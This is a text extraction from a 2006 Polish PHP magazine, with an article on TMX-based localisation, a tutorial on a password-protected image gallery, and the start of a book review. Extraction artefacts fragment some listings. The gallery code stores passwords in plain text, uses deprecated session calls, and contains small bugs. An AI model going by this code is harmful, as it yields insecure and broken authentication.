Lokalizacja w PHPprzy użyciu standardu TMXNicola Asuni

W SIECI

1. http://tmxphpbridge.sourceforge.net – klasa pomostowa PHP-TMX

2. http://www.lisa.org – witryna organizacji LISA

3. http://tecnick.com – strona domowa firmy Tecnick.com

Stopień trudności: lll

Co należy wiedzieć...Powinieneś znać podstawy PHP oraz XML. Przyda się również wiedza związa-na z zagadnieniem internacjonalizacji.

Co obiecujemy...Po przeczytaniu artykułu będziesz wie-dział jak obsłużyć lokalizację projektu PHP przy użyciu TMX.

Page 51: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org50

Lokalizacja na bazie TMX

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 51

stingu 1 przedstawiony jest przykładowy tekst Witaj Świecie w języku angielskimi włoskim, zdefiniowany w dwóch plikach: english.php and italian.php.

Biorąc pod uwagę, że wielu programi-stów postępuje w ten sposób, prezento-wane rozwiązanie musi działać poprawnie

– i rzeczywiście działa. Dlaczego zatem mielibyśmy zaprzestać jego używania?

Pierwszy i prawdopodobnie najważ-niejszy z powodów to komfort potencjal-nych tłumaczy. Kiedy projekt rośnie i sta-je się umiędzynarodowiony, niemożliwo-ścią jest aby programiści zajmowali się

tłumaczeniem. Tak też jest zazwyczaj w praktyce, to znaczy: nikt nie zmusza programisty do rozszerzania istniejące-go kodu o obsługę nowego języka – tym zajmują się zazwyczaj tłumacze, czyli(w ogólnym przypadku) osoby nie po-trafiące programować. W tym miejscu mamy idealną okazję na pojawienie się przypadkowych błędów w kodzie: wy-starczy, że tłumacz niechcący usunie jeden średnik (;) lub doda cudzysłów.W rezultacie, po każdym tłumaczeniu kod wymaga ponownej rewizji, którą mu-szą wykonać programiści.

Z drugiej strony, składowanie zasobów tekstowych w formacie TMX pozwala tłu-maczom eksportować i importować dane pomiędzy swoimi preferowanymi narzę-dziami (jak wspominałem wcześniej, istnie-je wiele takich narzędzi). Zasoby powiąza-ne z procesem tłumaczenia są całkowicie odseparowane i uniezależnione od jakie-gokolwiek języka programowania. Wspo-mniane narzędzia pozwalają modyfikować zawartość dokumentu lecz chronią struktu-rę tagów, dzięki czemu nie ma obawy, że tłumacz coś „zepsuje”.

Kolejny powód, który sprawia, że tabli-ce nie są dobrym rozwiązaniem w kontek-ście mechanizmów wsparcia internacjona-

Listing 1. Typowa implementacja kontenerów translacyjnych w języku PHP

<?php

// english.php

$res = Array();$res['DatabaseEmpty'] = "The database is empty!";

$res['HelloWorld'] = "Hello World!";

?>

<?php

// italian.php

$res = Array();$res['DatabaseEmpty'] = "Il database č vuoto!";

$res['HelloWorld'] = "Ciao a tutti!";

?>

Listing 2. Przykład pliku TMX

<?xml version="1.0" ?>

<tmx version="1.4">

<header

creationtool="XYZTool"

creationtoolversion="1.01-023"

datatype="PlainText"

segtype="sentence"

adminlang="en-us"

srclang="EN"

o-tmf="ABCTransMem">

</header>

<body>

<tu tuid="DatabaseEmpty" datatype="plaintext">

<tuv xml:lang="en">

<seg>The database is empty!</seg>

</tuv>

<tuv xml:lang="it">

<seg>Il database č vuoto!</seg>

</tuv>

</tu>

<tu tuid="HelloWorld" datatype="plaintext">

<tuv xml:lang="en">

<seg>Hello World!</seg>

</tuv>

<tuv xml:lang="it">

<seg>Ciao a Tutti!</seg>

</tuv>

</tu>

</body>

</tmx>

Listing 3. Sposób użycia klasy TMXResouceBundle

// 1. dołaczamy plik z definicją klasy TMXResourceBundle

require_once('TMXResourceBundle.php');

// 2. tworzymy instancję obiektu klasy TMXResourceBundle specyfikując przy tym

// nazwę pliku z zasobami TMX oraz kod interesującego nas języka

$tmxres = new TMXResourceBundle("tmx_file_name.xml","en");// 3. wyświetlamy napis odpowiadający identyfikatorowi 'HelloWorld'

echo $tmxres->resource['HelloWorld'];

InternacjonalizacjaInternacjonalizacja (ang. Internationaliza-tion; w skrócie: i18n) jest w kontekście in-żynierii oprogramowania procesem pla-nowania oraz implementacji produktów i usług w taki sposób, aby cechowały się one łatwością adaptacji do specyficznych aspektów kulturowych (głównie lokalnych języków). Wspomniany proces adaptacji takich produktów nazywamy lokalizacją.

Jednym z głównych aspektów in-ternacjonalizacji jest odseparowanie ba-zowego kodu źródłowego produktu od wszelkiego rodzaju zasobów (tekstów, nagłówków, informacji) które są zmien-ne w kontekście różnych języków bądź kultur. Takie podejście znacznie uprasz-cza proces tłumaczenia – dzięki temu, że wspomniane zasoby są dobrze zde-finiowane i odseparowane w zewnętrz-nych Kontenerach Translacyjnych (ang. Translation Memories). Kontenery Trans-lacyjne, zwane również Bazami Transla-cji, to zbiory sentencji zapisane w języku referencyjnym, powiązane z odpowiada-jącymi im tłumaczeniami w językach ob-cych. Sentencja referencyjna powiązana z tłumaczeniami nazywana jest Jednost-ką Translacyjną (ang. Translation Memo-ry Unit).

Page 52: PHP Solutions 03 2006 PL

Lokalizacja na bazie TMX

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org52

lizacji, to niski poziom możności ponowne-go użycia tłumaczonych zasobów. Warto zauważyć, że na rynku globalnym koszty tłumaczenia (oraz jego uaktualnień) mogą bardzo szybko rosnąć. W tej sytuacji do-brym pomysłem jest odseparowanie zaso-bów powiązanych z translacją i zapewnie-nie możliwości wykorzystania ich później, w innym kontekście.

Przygotowanie do tłumaczenia: kontenery translacyjnePrzygotujmy się do tłumaczenia. Na po-czątek potrzebujemy Kontenerów Transla-cyjnych (ang. Translation Memories, TM), o których wspominałem wcześniej w kon-tekście tablic PHP. TMX do tworzenia, składowania i przetwarzania takich konte-nerów używa języka XML. Do ich budowy wykorzystuje się zazwyczaj specyficzne oprogramowanie narzędziowe określane jako CAT (ang. Computer Aided Transla-tion), jednak biorąc pod uwagę niewielkie rozmiary naszego przykładowego projek-tu, kontenery te stworzymy ręcznie.

Załóżmy, że w kontekście naszego projektu potrzebować będziemy dwóch wiadomości: Baza danych jest pusta (ang. Database is empty) oraz Witaj Świecie! (ang. Hello, World!).

Wspomniane zasoby opisane będąw dwóch językach: angielskim i wło-skim. Do ich przechowywania stworzy-

my dwa kontenery: DatabaseEmpty oraz HelloWorld. Spójrzmy na Listing 2. Co wi-dzimy? Każdy plik TMX rozpoczyna się jak zwyczajny plik XML: <?xml....?>; da-lej otwierany jest element <tmx>, stano-wiący korzeń dokumentu. Pomińmy tag <header>, który przechowuje informacjeo autorze pliku i narzędziu wykorzystanym do jego stworzenia, przejdźmy od razu do elementu <body> i zawartych tam sekcji <tu>...</tu>. Każda z tych sekcji stanowi jednostkę translacji (ang. translation unit; stąd skrót tu), reprezentującą poszcze-gólne kontenery translacyjne. Każda taka jednostka jest identyfikowana przez tuid, stanowiący unikalną nazwę kontenera.W tagu rozpoczynającym jednostkę trans-lacji możemy też zdefiniować typ danych

odpowiadający tej jednostce (w naszym przykładzie jest to czysty tekst). Wewnątrz sekcji <tu> definiujemy wszystkie wersje językowe tekstu przechowywanego w da-nym kontenerze. Każda wersja jest repre-zentowana przez tag <tuv> (ang. trans-lation unit variant), definiujący język (np. xml:lang=”en” dla angielskiego). Czysty tekst tłumaczenia umieszczony jest w seg-mencie, reprezentowanym przez element opisany parą tagów: <seg>...</seg>.

W porządku, umieściliśmy nasz tekst w dokumencie XML. Nie zamierzam za-nudzać czytelników (a szczególnie: czytel-ników-programistów) kolejnym wywodemo wyższości tego formatu opisu danych nad innymi formatami. Jednak jakie są wady tego rozwiązania? Czy takowew ogóle istnieją? Cóż, faktem jest, że ta-blica nadal pozostaje najbardziej natural-nym kontenerem do przechowywania da-nych w PHP, zaś korzystanie z dokumen-tu XML wiąże sie z dodatkowym parsowa-niem. W tej sytuacji dobrze byłoby użyć klasy (nazwijmy ją roboczo klasą pomo-stową PHP-TMX), która przeczyta da-ne bezpośrednio z dokumentu TMX/XML i wypełni nimi tablicę PHP (jak pokazano na Rysunku 1). Takie podejście pozwoliło-by nam jednocześnie wykorzystać zalety obydwu rozwiązań! Podstawową wadę te-go podejścia stanowi potrzeba wczytywa-nia całego dokumentu TMX do pamięci, co może stanowić poważny narzut (głów-nie w kontekście czasu i pamięci). Niedo-godność tę można zniwelować przy wyko-rzystaniu technik keszowania.

Klasa pomostowaPHP-TMXDla wszystkich czytelników zaintrygowa-nych tematem mam dobrą wiadomość: wspomnianej klasy nie musimy wcale bu-

Rysunek 1. Połączenie PHP i TMX

Polecana literatura� Asuni N, "Java Localization with TMX standard" [wersja online] 2004-10-14, http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=article_tmx� Asuni N, "TMXResourceBundle – TMX Java Bridge" [wersja online] 2005-01-08, http://tmxjavabridge.sourceforge.net� Itagaki M, "Use XML as a Java Localization Solution" [wersja online] 2000-11-10, http://www.ftponline.com/javapro/archives/mi0011/default.asp� O'Conner J, "Java Internationalization: Localization with ResourceBundles" [wersja

online] 1998-10-01, http://java.sun.com/developer/technicalArticles/Intl/ResourceBundles� OSCAR – LISA, "TMX – Translation Memory eXchange" [wersja online] 2004-10-01, http://www.lisa.org/standards/tmx� OSCAR – LISA, "TMX 1.4b Specification" [wersja online] 2005-03-26, http://www.lisa.org/standards/tmx/tmx.html� W3C, "Extensible Markup Language (XML)" [online] 2005-08-02, http://www.w3.org/XML

������������� ���

�������������

�������

Page 53: PHP Solutions 03 2006 PL
Page 54: PHP Solutions 03 2006 PL

Lokalizacja na bazie TMX

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org54

dować własnoręcznie: istnieje bardzo do-bre rozwiązanie typu Open Source (licen-cja (GNU/GPL) oferujące opisaną wyżej funkcjonalność. Rozwiązanie to dostar-czone jest w postaci klasy TMXResour-ceBundle, napisanej w języku PHP5 i do-stępnej nieodpłatnie pod adresem http://tmxphpbridge.sourceforge.net.

Aktualna wersja standardu TMX (1.4b) opisuje dziesięć elementów strukturalnych i siedem elementów dołączonych. W kon-tekście używania klasy TMXResouceBun-dle do obsługi tłumaczenia prostego tekstu potrzeba nam jedynie trzech elementów: <tu>, <tuv> and <seg> (wszystkie opisane wyżej).

Mając gotowy plik TMX z opisem zasobów tekstowych wykorzystywanych w ramach naszego przykładowego projek-tu, używanie klasy TMXResouceBundle jest dziecinnie proste (proponuję rzucić okiem na Listing 3). Musimy jedynie do-łączyć odpowiedni plik i stworzyć obiekt wspomnianej klasy (np. $tmxres), przy czym jako parametr do konstruktora na-leży przekazać nazwę docelowego pliku TMX. Po wykonaniu tych czynności może-my korzystać ze wszystkich metod i skład-ników oferowanych w ramach interfejsu klasy (np. resource, który pozwala pobrać napis powiązany z określanym kontene-rem translacji).

Taki sposób postępowania może być oczywiście znacznie rozbudowanyi usprawniony, w zależności od potrzeb. Na przykład pierwsze dwa, ze wspo-mnianych kroków, można przenieść do pliku konfiguracyjnego PHP (dzięki te-mu będą uruchomione tylko raz), a na-stępnie skorzystać z technik keszowania.

Listing 4. Konstruktor klasy TMXResouceBundle

public function __construct($tmxfile, $language) { // czyścimy tablicę

$this->resource = array();

// ustawiamy wybrany język

$this->language = strtoupper($language);

// tworzymy nową instancję parsera XML, do użytku innych funkcji XML

$this->parser = xml_parser_create();

// następująca funkcja pozwala wykorzystać stworzony parser wewnątrz obiektu

xml_set_object($this->parser, $this);

// wyłączamy w parserze opcję “case-folding”

// (ignorowanie różnic wynikających z wielkosci liter)

xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);

// ustawiamy wywołanie zwrotne do obsługi elementów w parserze XML

xml_set_element_handler($this->parser, "startElementHandler",

"endElementHandler");

// ustawiamy wywołanie zwrotne do obsługi danych znakowych w parserze XML

xml_set_character_data_handler($this->parser, "segContentHandler");

// rozpoczynamy parsowanie dokumentu

if(!xml_parse($this->parser, file_get_contents($tmxfile))) { die(sprintf("ERROR TMXResourceBundle :: XML error: %s at line %d", xml_error_string(xml_get_error_code($this->parser)),

xml_get_current_line_number($this->parser)));

}

// zwalniamy parser

xml_parser_free($this->parser);

}

Listing 5. Wywołanie zwrotne do obsługi początków elementów XML

private function startElementHandler($parser, $name, $attribs) {switch(strtolower($name)) { case 'tu': {

// jednosta translacyjna; zawiera unikalny identyfikator (tuid)

if (array_key_exists('tuid', $attribs)) { $this->current_key = $attribs['tuid'];

}

break; }

case 'tuv': {

// wariant jednostki translacyjnej; zawiera kod języka

if (array_key_exists('xml:lang', $attribs)) { $this->current_language = $attribs['xml:lang'];

}

break; }

case 'seg': { // segment; zawiera przetłumaczony tekst

$this->segdata = true;

$this->current_data = "";

break; }

default: { break; }

}

}

LISAZałożona w roku 1990, jest ogólno-światową organizacją typu non-profit. Działalność tej organizacji można scha-rakteryzować za pomocą czterech haseł: Globalizacja, Internacjonalizacja, Lokali-zacja i Translacja (w skrócie: GLIT). LISA skupia wokół siebie pojedyncze osoby, firmy, stowarzyszenia i organizacje, przy czym wszystkie te podmioty powiązane są z szeroko pojętym językoznawstwem, w kontekście technologii informatycz-nych. W ramach inicjatywy LISA działają liczni profesjonaliści reprezentujący po-nad 400 wiodących producentów oraz dostawców usług z branży IT. Ich celem jest tworzenie wytycznych pracy oraz standardów dla technologii wspierają-cych internacjonalizację, w pryzmacie globalizacji rynku i przedsiębiorstw.

Page 55: PHP Solutions 03 2006 PL

Lokalizacja na bazie TMX

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 55

Prostym przykładem takiej techniki mo-głoby być zapisywanie i odczytywanie ta-blicy $tmxres->resource do/z pliku bądź rekordu w bazie danych, przy wykorzy-staniu mechanizmu serializacji.

Jak działa klasa TMXResouceBundleJak pokazano na Listingu 4, konstruk-tor klasy pobiera jako parametry nazwę i ścieżkę docelowego pliku TMX, a tak-że kod ISO określający język. Wewnątrz konstruktora zdefiniowany jest parser TMX. Parser ten działa w oparciu o stan-dardowe udogodnienie: PHP XML Parser Functions (wykorzystujące z kolei biblio-

tekę expat). Funkcjonalność ta pozwala tworzyć niewalidujące parsery XML i de-finiować dla nich wywołania zwrotne re-agujące na różnego rodzaju zdarzenia związane z procesem przetwarzania do-kumentu XML. Jak każdy parser XML, również i ten mechanizm można odpo-wiednio dostosować do swoich potrzeb.

Metoda startElementHandler() (Li-sting 5) ustala wartości zmiennych sta-nu w momencie otwarcia elementu TMX. Metoda endElementHandler() (Listing 6) resetuje te wartości kiedy element TMX jest zamykany. Zmienne stanu prze-chowują informacje na temat aktualnie przetwarzanego elementu TMX. Metoda

segContentHandler() (Listing 7) przetwa-rza ciągi znaków umieszczone pomiędzy elementami dokumentu XML. Warto za-uważyć, że w trakcie przetwarzania za-wartości węzła <seg>, wartość atrybutu xml:lang dla nadrzędnego elementu tuv, odpowiada parametrowi $language prze-kazanemu w konstruktorze klasy. Metoda segContentHandler() odwzorowuje wy-brany ciąg znaków na konkretny element tablicy zasobów. Odwołanie do tego ele-mentu odbywa się przy użyciu atrybutu tuid (określonego w tagu tu), który wy-korzystywany jest jako indeks.

Po zakończeniu procesu parsowa-nia, tablica zasobów będzie wypełniona danymi odpowiadającymi wybranemu ję-zykowi. Jak wspomniałem wyżej, indek-sami dla poszczególnych elementów są odpowiadające im wartości identyfikato-rów (tuid). Ostania z rozważanych me-tod: getResource (Listing 8), zwraca tabli-cę zasobów.

PodsumowanieW niniejszym artykule przedstawiono podstawowe techniki internacjonaliza-cji w kontekście języka PHP. Pokaza-no jak, w łatwy sposób, można wykorzy-stać możliwości TMX, nawet przy ręcz-nym tworzeniu pliku z zasobami. Silne rozgraniczenie pomiędzy kodem apli-kacji, a danymi, możliwość ponowne-go użycia jednostek translacji oraz wy-goda i łatwość użytkowania czyni tech-nologię TMX idealnym wyborem przy rozwiązywaniu problemów związanychz internacjonalizacją programów tworzo-nych w PHP. n

Nicola Asuni jest założycielem i pre-zesem firmy Tecnick.com S.r.l, będącej jednym z czołowych dostawców wyso-kiej klasy oprogramowania webowego opartego na licencji Open Source. Od 1993 roku autor pracował jako niezależ-ny programista, udzielając się mocno w wielu projektach związanych z aplikacja-mi web. Jest miedzy innymi twórcą wi-tryny Technick.net, a także członkiem i współzałożycielem stowarzyszenia Ja-va User Group Sardegna Onlus i uczest-nikiem GULCh – Gruppo Utenti Linux Cagliari. Dodatkowe informacje na te-mat autora można znaleźć pod adresem http://nicolaasuni.tecnick.com

Listing 6. Wywołanie zwrotne do obsługi końców elementów XML

private function endElementHandler($parser, $name) { switch(strtolower($name)) { case 'tu': { // jednosta translacyjna; zawiera unikalny identyfikator (tuid)

$this->current_key = "";

break; }

case 'tuv': { // wariant jednostki translacyjnej; zawiera kod języka

$this->current_language = "";

break; }

case 'seg': { // segment; zawiera przetłumaczony tekst

$this->segdata = false;

if (!empty($this->current_data) OR !array_key_exists($this->current_key, $this->resource)) {

$this->resource[$this->current_key] = $this->current_data; //

ustawiamy nowy element tablicy

}

break; }

default: { break; }

}

}

Listing 7. Wywołanie zwrotne do obsługi zawartości tekstowej występującej pomiędzy elementami XML

private function segContentHandler($parser, $data) { if($this->segdata AND (strlen($this->current_key)>0) AND (strlen($this-

>current_language)>0)){

// jesteśmy w środku elementu seg

if (strcasecmp($this->current_language, $this->language) == 0) { // dotarliśmy do frazy stanowiącej tłumaczenie

$this->current_data .= $data;

}

}

}

Listing 8. Metoda getResource

public function getResource() { return $this->resource;}

O autorze

Page 56: PHP Solutions 03 2006 PL

www.phpsolmag.org56

Projekty

PHP Solutions Nr 3/2006

ImageVault

www.phpsolmag.org 57

Projekty

PHP Solutions Nr 3/2006

Swego czasu znajomy zapytał mnie, czy (i w jaki sposób) da-łoby się ograniczyć dostęp do

umieszczonych na jego stronie interne-towej zdjęć jego dzieci grających w pił-kę, aby były one wyświetlane wyłącz-nie autoryzowanym użytkownikom. Moim pierwszym pomysłem było zabezpiecze-nie całej witryny hasłem, jednak gdyby zdeterminowanemu użytkownikowi uda-ło się ustalić nazwy i ścieżki plików gra-ficznych, to mógłby on teoretycznie omi-nąć zabezpieczenia i wyświetlić chronio-ne zdjęcia.

Po chwili namysłu doszedłem do wniosku, że najbezpieczniej będzie umieścić pliki poza publicznie dostęp-nym katalogiem serwera WWW, a na-stępnie napisać aplikację PHP, która na podstawie loginu i hasła będzie udo-stępniać te pliki autoryzowanym użyt-kownikom. Narzędzie to musi też umoż-liwiać wylogowanie użytkownika po za-kończeniu przeglądania.

Każdy chyba ma jakieś prywatne zdjęcia, którymi za pośrednictwem strony internetowej chciałby się podzielić ze znajomymi, rodziną czy kolegami z pracy, ale które wolałby jednocześnie ukryć przed wścibskim ogółem internautów. Cel ten można łatwo osiągnąć mając do dyspozycji serwer WWW obsługujący PHP oraz przedstawioną w tym artykule aplikację kontrolującą dostęp do obrazów.

Podstawowa struktura systemuStrukturę systemu przedstawia Rysu-nek 1. Nas najbardziej interesują elementy umieszczone w katalogu public_html. Po-szczególne moduły aplikacji to:

l Moduł logowania, sprawdzający infor-macje podane przez użytkownika i na ich podstawie podejmujący decyzję o dopuszczeniu go do chronionych da-nych. Moduł składa się z plików in-dex.php i main.php.

ImageVault: Ograniczanie dostępu do plików graficznychi multimedialnych w PHPPatrick O’Brien

W SIECI

1. http://www.devshed.com/c/a/PHP/Private-Pages-with-PHP-and-Text-Files– alternatywne rozwiązanie zabezpieczania plików

2. http://www.experts-exchange.an/web.web_Languages/PHP/Q_21267129.html– tutorial przedstawiający sposób zabezpieczania pli-ków na serwerze.

Stopień trudności: lll

Powinieneś wiedzieć...Niezbędna będzie znajomość podstaw PHP.

Obiecujemy...Stworzymy system udostępniający umieszczone na stronie pliki graficz-ne wyłącznie autoryzowanym użyt-kownikom.

Page 57: PHP Solutions 03 2006 PL

www.phpsolmag.org56

Projekty

PHP Solutions Nr 3/2006

ImageVault

www.phpsolmag.org 57

Projekty

PHP Solutions Nr 3/2006

l Moduł wylogowania, pozwalający za-logowanemu użytkownikowi wyjśćz aplikacji (plik logoff.php).

l Skrypt udostępniający uprawnionym użytkownikom pliki graficzne składo-wane poza katalogiem public_html (plik imageserver.php).

l Dwa skrypty narzędziowe: jeden gene-rujący kod znaczników dostępnych ob-razów (plik linkgen.php), a drugi unie-możliwiający zapisanie obrazu po klik-nięciu go prawym przyciskiem myszy.

LogowaniePo otwarciu głównej strony witryny, użyt-kownik powinien zobaczyć albo stronę ze zdjęciami (dla użytkowników zalogo-wanych), albo formularz logowania (dla wszystkich innych). Odpowiada za to plik index.php.

Wyświetlany kod HTML będzie skła-dowany w osobnym pliku index.html, któ-ry (podobnie jak same zdjęcia) będzie się znajdował poza publicznym katalogiem serwera WWW, w katalogu imagevault,

który z kolei możemy założyć w dowolnym katalogu, do którego będzie miał dostęp parser PHP (np. /usr/local/imagevault). Ta-kie podejście pozwoli użytkownikowi aktu-alizować stronę poprzez zwykłą edycję ko-du HTML w tym pliku. Jest to o tyle istotne, że użytkownik może nie mieć praw do mo-dyfikacji skryptów wyświetlających galerię, ale na pewno będzie posiadał uprawnienia do zmiany własnych plików.

Na Listingu 1 przedstawiamy komplet-ny kod pliku index.php. Jego działanie za-czyna się od dołączenia pliku showlogin-page.php, po czym przebiega według na-stępującego algorytmu:

l Sprawdzenie parametrów sesji w ce-lu zweryfikowania, czy użytkownik jest zalogowany:l Jeśli tak, zawartość pliku in-

dex.html jest odczytywana i prze-kazywana do przeglądarki,

l Jeśli nie, użytkownik jest przekie-rowywany do ekranu logowania (showloginpage.php).

Za generowanie ekranu logowania odpo-wiada funkcja showLoginPage(), zapisa-na w osobnym pliku showloginpage.php (Listing 2) i w tym przypadku wywoływa-na bez argumentu.

Dane użytkownika podane przy lo-gowaniu (login i hasło) są przesyłane do skryptu main.php (Listing 3), który wyko-nuje następujące operacje:

l Pobranie przekazanego loginu i hasłal Sprawdzenie, czy podane informacje

są poprawne:l Jeśli tak, skrypt inicjalizuje se-

sję, ustawia zmienną sesyjną validuser i przekazuje do przeglą-darki stronę index.html

l Jeśli nie, użytkownikowi zostanie ponownie zaprezentowany ekran logowania, tym razem z dodatko-wą informacją o błędnych danych; to wyświetlenie również realizu-je funkcja showLoginPage(), tym razem wywoływana z łańcuchem error jako argumentem.

Loginy i hasła użytkowników są składo-wane w pliku tekstowym users.txt, znaj-dującym się w tym samym katalogu, co in-dex.html (czyli imagevault). Zawartość pli-ku odczytuje funkcja get_users(), która następnie przetwarza pobrane dane i zapi-suje je w tablicy $username. Za autoryzację użytkownika odpowiada funkcja check_

user(), która sprawdza, czy informacje po-dane w formularzu logowania odpowiadają jednemu z wpisów w pliku users.txt. Jeśli użytkownik ma prawo dostępu do strony, zostanie otwarta sesja użytkownika wraz z ustawieniem wspomnianej już zmiennej sesyjnej validuser, po czym do przeglą-darki użytkownika zostanie wysłany kod strony głównej (index.html). W przypad-ku nieudanego logowania, użytkownik po-nownie zobaczy ekran logowania.

Struktura plikówi katalogówZanim zajmiemy się samym procesem udostępniania plików, wypadałoby raz jesz-cze wyjaśnić strukturę plików i katalogów, z jaką mamy do czynienia – ilustruje ją Rysu-nek 1. Katalogiem głównym serwera WWW jest public_html, więc wszystkie pliki w ob-rębie tego katalogu są publicznie dostęp-ne z Internetu. Chronione pliki umieścimy gdzie indziej – w katalogu imagevault.

Listing 1. Strona główna witryny (plik index.php)

/* Pat OBrien, 10 stycznia 2006 */

// Sprawdzenie, czy użytkownik jest zalogowany

require_once "showloginpage.php";

session_start();

$validuser = $_SESSION['validuser'];

if ($validuser == 10) { // Użytkownik jest zalogowany, więc otrzyma stronę index.html z katalogu

// imagevault

$lines = file("../imagevault/index.html"); foreach ($lines as $line) { print $line; }}else{ // Użytkownik nie jest jest zalogowany, więc otrzyma ekran logowania print (showLoginPage());exit;?>

Listing 2. Funkcja showLoginPage() (plik showloginpage.php)

function showLoginPage($msg_type='general'){ if($msg_type=='general'){ $message='Serwis dostępny wyłącznie dla użytkowników zalogowanych;

<br>\n';

}elseif($msg_type=='error'){ $message='Nieprawidłowe dane użytkownika, spróbuj jeszcze raz; ';

}elseif($msg_type=='logout'){ $message='Dziękujemy – zostałeś wylogowany z systemu.\n. Aby się ponownie

zalogować, '; }

$message='podaj login i hasło i kliknij przycisk';

$result="<html>\n<body bgcolor='#FFFFFF'>\n".

"<form method='post' action='main.php' name='login'>\n".

...

"</form></html>\n";

return $result;}

Page 58: PHP Solutions 03 2006 PL

ImageVault

www.phpsolmag.org58

Projekty

PHP Solutions Nr 3/2006

WylogowanieSystem powinien też umożliwiać użyt-kownikowi wylogowanie się. Osiągniemy to anulując wszystkie zmienne sesyjne wywołaniem session_unset(), a następ-nie usuwając bieżącą sesję wywołaniem session_destroy(). Użytkownik zostanie

Listing 3. Logowanie (plik main.php)

<?php

/* Pat OBrien, 10 stycznia 2006 */

require_once "showloginpage.php";

function get_users() { // Pobiera listę autoryzowanych użytkowników global $username, $password, $nusers; $nusers = 0;

$lines = file("../imagevault/users.txt"); foreach ($lines as $line) { // Każdy wiersz pliku powinien mieć postać [LOGIN]|[HASŁO]

$elements = explode("|", $line); $username[$nusers] = trim($elements[0]); $password[$nusers] = trim($elements[1]); $nusers++; } }

// Sprawdzenie, czy podane informacje odpowiadają jednemu z wpisów w pliku

function check_user($username_entered,$password_entered) { global $username, $password, $nusers; $validuser = 0;

for ($i=0;$i<$nusers;$i++) { if ( (strcmp($username_entered,$username[$i]) == 0) && (strcmp($password_entered,$password[$i]) == 0) ) { $validuser = 10; } }

return $validuser;}

/*---------------- Część główna ----------------------------------*/

$validuser = 0;

// Pobranie nazwy użytkownika i hasła z formularza logowania

$username_entered = $_REQUEST["username"];

$password_entered = $_REQUEST["password"];

// Pobranie listy autoryzowanych użytkowników z pliku /imagevault/users.txt

get_users();

// Sprawdzenie poprawności podanych danych

$validuser = check_user($username_entered,$password_entered);

// Jeśli dane są poprawne: inicjalizacja sesji, ustawienie zmiennej sesyjnej

// validuser

// i zwrócenie klientowi strony index.html

if ($validuser == 10) { // Przygotowanie i inicjalizacja sesji

session_start();

session_register("validuser");

$_SESSION['validuser'] = $validuser;

// Zwrócenie strony użytkownikowi

$lines = file("../imagevault/index.html"); foreach ($lines as $line) { print $line; } }else { // Jeśli dane są błędne: ponowne wyświetlenie ekranu logowania print (ShowLoginPage('error')); }exit;?>

Listing 4. Skrypt wylogowania (plik logoff.php)

<?php

/* Pat OBrien, 01/02/2006 */

require_once "showloginpage.php";

session_start();

session_unset();

session_destroy();

print (ShowLoginPage('logout'));?>

następnie przekierowany do ekranu lo-gowania, który ponownie wygenerujemy za pomocą funkcji showLoginPage(), tym razem przekazując łańcuch logout jako jej argument.

Kod realizujący wylogowanie zo-stanie zapisany w pliku logoff.php (Li-

sting 4), umieszczonym w katalogu pu-blic_html. Aby z niego skorzystać, wystar-czy w kodzie HTML umieścić następujący odsyłacz: <a href="logoff.php">Wylogow

anie</a>.

Udostępnianie plików graficznych poprzez PHPPora przejść do sedna systemu, czyli pro-cesu udostępniania plików graficznych. Kod realizujący to zadanie jest zapisany w pliku imageserver.php (Listing 5), a jego działanie obejmuje:

l Sprawdzenie zmiennej sesyjnej validuser w celu zweryfikowania, czy użytkownik jest zalogowany:l Jeśli tak, skrypt pobiera na-

zwę żądanego pliku poprzez $_REQUEST['filename'], po czym odczytuje odpowiedni plik z ka-talogu imagevault i zwraca go żą-dającemu

l Jeśli nie, skrypt zwraca pojedyn-czą spację i kończy działanie

Istotną kwestią w przypadku pliku image-server.php jest sposób pobierania pliku obrazu i odsyłania go żądającemu. Wy-korzystana jest tu funkcja fpassthru(), co ma tę zaletę, że operacja jest niemal tak szybka, jak bezpośredni dostęp do pliku, a na pewno dużo szybsza od wczytywa-nia treści do zmiennej PHP i następujące-go po tym odsyłania jej klientowi.

Drugą istotną kwestią jest to, że zażą-danie nieistniejącego pliku spowoduje za-pisanie komunikatu o błędzie w pliku er-rorlog.txt, znajdującym się w katalogu ob-razów (jeśli plik nie istnieje, zostanie auto-matycznie utworzony). Rejestrowanie błę-dów pozwoli administratorowi witryny wy-kryć i poprawić błędne odsyłacze do pli-ków graficznych.

Kolejne zwiększenie ochronyNieraz zdarza się, że właściciel plików gra-ficznych chce je udostępnić wybranym użytkownikom, ale zarazem uniemożliwić lokalne zapisywanie obrazów poprzez kli-kanie ich prawym przyciskiem myszy i wy-bieranie Zapisz jako... z menu konteksto-wego. Najprostszym rozwiązaniem będzie umieszczenie w obrębie znacznika <head> stron HTML zawierających obrazy funkcji JavaScriptu o nazwie rightmouse(), któ-ra będzie obsługiwać przechwycone zda-

Page 59: PHP Solutions 03 2006 PL

ActionScript. Receptury

Autor: Joey LottWydawnictwo: Helion Cena: 99,90 zł

Kiedy zabierałem się do lektury „O’Reilly - ActionScript Receptury”, nie mogłem doczekać się otwarcia książki i zato-pienia w recepturach i kolejnych sposobach na wyciśnięcie z flash’a maksymalnej funkcjonalności. Chcąc dowiedzieć się co czeka na mnie w tej pozycji, sięgnąłem do spisu treści, gdzie spotkało mnie lekkie rozczarowanie. Znając serię do jakiej książka należy, spodziewałem się, że już w pierwszym punkcie ujrzę recepturę która z miejsca powali mnie na kolana. Niestety tak się nie stało.

Książka napisana została jako pozycja, którą czytać należy w jedyny słuszny sposób: od pierwszego rozdziału, traktującego o sprawach w niektórych przypadkach wręcz banalnych, do ostatniego, zawierającego już naprawdę roz-budowane receptury. Każdą z receptur zorganizowano w standardowej formie, z jaką często pracują programiści. Au-torzy stawiają problem do rozwiązania, a następnie przedstawiają jego analizę i rozwiązanie. Pozwala to w pełni zrozu-mieć poszczególne receptury - bez konieczności zaglądania na inne strony w poszukiwaniu powiązanych zagadnień, które pomogłyby w zrozumieniu danego problemu (choć odniesienia do zagadnień poruszanych w innych działach zda-rzają się w listingach).

